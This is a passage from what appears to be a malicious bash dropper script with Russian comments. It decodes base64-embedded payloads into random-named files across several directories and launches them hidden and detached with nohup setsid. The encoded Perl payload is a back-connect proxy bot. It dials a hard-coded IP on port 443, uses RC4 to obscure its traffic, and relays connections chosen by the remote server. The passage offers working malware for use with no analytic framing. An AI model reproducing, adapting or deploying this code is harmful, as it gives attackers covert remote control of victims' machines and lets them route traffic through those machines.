eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #55 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #55 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 56 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yMDInOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ 